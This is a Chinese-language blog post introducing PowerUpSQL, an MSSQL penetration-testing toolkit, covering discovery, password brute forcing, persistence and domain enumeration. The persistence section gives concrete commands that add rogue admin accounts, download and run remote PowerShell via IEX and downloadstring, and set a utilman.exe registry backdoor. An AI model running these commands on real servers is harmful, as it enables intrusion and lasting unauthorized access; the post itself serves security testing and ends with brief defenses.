MSSQL--PowerUpSQL介绍

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

PowerUpSQL是NETSPI开源的针对MSSQL的测试套件,包含发现网络中mssql、测试口令、利用mssql获得持久权限以及利用mssql攻击域等功能。

No.3

发现MSSQL实例

  • 发现本地实例
  • 通过SPN查找域内mssql实例
  • 通过广播查找mssql实例
  • 通过UDP查找网络内的mssql实例

接受机器名或者IP

No.4

获取MSSQL信息

  • 获取配置信息
  • 获取服务信息
  • 登录信息

No.5

测试口令

  • 获取默认密码实例

作者在脚本中提供了默认安装的一些实例名和默认密码,但是不包括MSSQLSERVER和SQL Express(避免账号锁定)。可以根据自身需要加入自定义的账号密码

  • 使用字典测试

命令的含义是通过管道爆破可以连接的发现的实例。此外,该函数还可以尝试通过Invoke-SQLOSCmd执行命令

No.6

持久性

  • 启用存储过程

SQL Server启动时添加数据库管理账户

Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!

添加windows管理员

Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!

执行 powershell命令

Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.xxxxxxusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"

  • 写注册表

Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "MSSQL" -Username "sa" -Password "_PL<0okm"

RDP后门。需要当前mssql用户有写注册表权限

作业

除了CMD,还支持VBScript、powershell、JScript

此外,工具还集成了一些通过mssql执行系统命令的方式

Invoke-SQLOSCmd

Invoke-SQLOSCmdCLR

Invoke-SQLOSCmdCOle

Invoke-SQLOSCmdPython

Invoke-SQLOSCmdR

  • 触发器

工具支持创建DDL和DML两种触发器

Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 -username '' -password ''

Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -username '' -password ''

可根据实际情况定义触发条件

No.7

获取域信息

  • 当前域用户信息
  • 域用户
  • 域机器

No.8

防御方案

  • 增加账号的口令强度
  • 用低权限账号连接数据库
  • 修改默认实例的默认口令

 

END

posted @ 2022-04-02 21:01  kalibb  阅读(149)  评论(0)    收藏  举报